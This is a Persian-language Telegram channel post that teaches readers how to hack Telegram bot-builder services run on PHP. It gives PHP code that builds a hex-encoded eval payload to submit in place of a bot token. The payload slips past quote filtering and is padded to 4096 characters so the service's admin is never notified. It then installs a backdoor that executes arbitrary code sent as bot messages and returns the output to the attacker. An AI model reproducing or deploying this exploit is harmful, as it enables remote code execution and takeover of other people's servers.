GRT team | جی آر تی تیم 638

Coming soon . . . ;)

#soon #comingsoon
#Activityagain

🆑 : @GRT_TEAM

1.3K views15:39

15:45

#چگانه رباتساز مردم را هاک نماییم و حق ناس النوب به گردن خود بیاویزیم ورژن 3؟ عیدتون مبارک
💡 مدتی هست که رباتساز ها با فیلتر کردن کوتیشن ها و اسم بنده در کد های ضد هک خود جلوی هاک شدنشون رو گرفتند. و امروز ورژن جدیدی رو نمایی میکنیم با توضیح هر قسمت.
در این بخش ما به شما کدی میدهیم که هنگام ورودی دادن توکن در رباتساز جای توکن از کد ساخته شده خود استفاده میکنید و درصورتی که ربات اسیب پذیر باشد حتما گرفتار هوش و توانایی کد زدن شما خواهد شد.

🔧 در اینجا کدی که مینویسیم کد مخرب ارسالی نبوده و واسه ساخت کد مخرب هستش. ما این کد رو اجرا میکنیم تا خروجی کد مخرب بگیریم.
در ابتدا ربات خودمونو مشخص میکنیم و ایدی عددیمونو هم میزاریم تو متغییر:

$admin = 12345678;
$token = "12345678:abcdefg";

خب. حالا در ادامه کد خام زیر رو برای مشخص کرد کاری که ربات باید انجام بده مینویسیم

$rawcode = '$UPDATE = json_decode(file_get_contents("php://input"));
$CURL = curl_init("https://api.telegram.org/bot'.$token.'/sendMessage");
curl_setopt($CURL, CURLOPT_RETURNTRANSFER, true);
curl_setopt($CURL, CURLOPT_POSTFIELDS, [
"chat_id" => '.$admin.',
"text" => @eval($UPDATE->message->text)
]);
curl_exec($CURL);
curl_close($CURL);
exit;';

برای توضیح کد بالا هرپیامی که در ربات شما ارسال شود را میگیره و اجرا میکنه و خروجی return اون رو به شما ارسال میکنه. مثلا کد بفرستید

return "hello world";

ربات شما این کدو اجرا میکنه و خروجیشو براتون میفرسته.
ولی خب این کد پر از کوتیشنه ما فرض کردیم کوتیشن ها فیلتر میشه چه باید کرد؟
در مرحله بعدی اونو به صورت زیر هگز میکنیم:

$hex = bin2hex("\xff;$rawcode");

الان درست شد دیگه هیچ کوتیشنی نداریم. خب حالا کد اصلی که کار نفوذ به هاست رباتسازو انجام میده الان میسازیم

$code = $token.'/gEtMe?AviD=${eval(hex2bin(@'.$hex.'))}';

همون طور که میبینید دیگه هیچ کوتیشنی نیست. ولی هنوزم یه مشکلی هست.
تو رباتساز های جدید وقتی رباتی میسازید توکن به ادمین ارسال میشه و ادمین شمارو بلاک میکنه. پس چیکار کنیم؟ کافیه کد رو 4096 کارکتر کنیم تا به محدودیت کارکتر برسه ربات و نتونه به ادمین بگه:

$code .= str_repeat('a', 4096 - strlen($code));

و مشخصا سپس کد رو پرینت کنید تا بگیرید و ازش استفاده کنید.

print $code;

🔑 حالا عملیاتو شروع میکنیم. به رباتساز رفته و ربات خودتونو با توکن بسازید تا وبهوک تنظیم بشه. حالا میدونید که لینک وبهوک رباتساز چیه و رباتتون به هاست طرف وصله. حالا وارد بخش تغییر توکن رباتساز یا ساخت دوباره رباتساز و یا اگه اجازه نداد یبار رباتو حذف کنید و وارد بخش ساخت رباته رباتساز بشید. اگه وبهوک حذف شد دوباره ست وبهوک انجام بدید.
حالا در اینجا کافیه کد مخرب ساخته شده رباتتون رو جای توکن ارسال کنید. اگه ساخته نشد که شما شکست خوردید ولی اگه ساخته شد که عالیه. میرید تو رباتتون و به صورت

$a = 2 + 2;
return $a * 5;

هر کدی بفرستید جواب خواهید گرفت 😁

📌 اسم avid رو پاک نکنید از تو کد بزارین باشه تبلیغ بشه اسمم ممنون /:
🖇 @GRT_team

1.3K viewsAvid, 13:27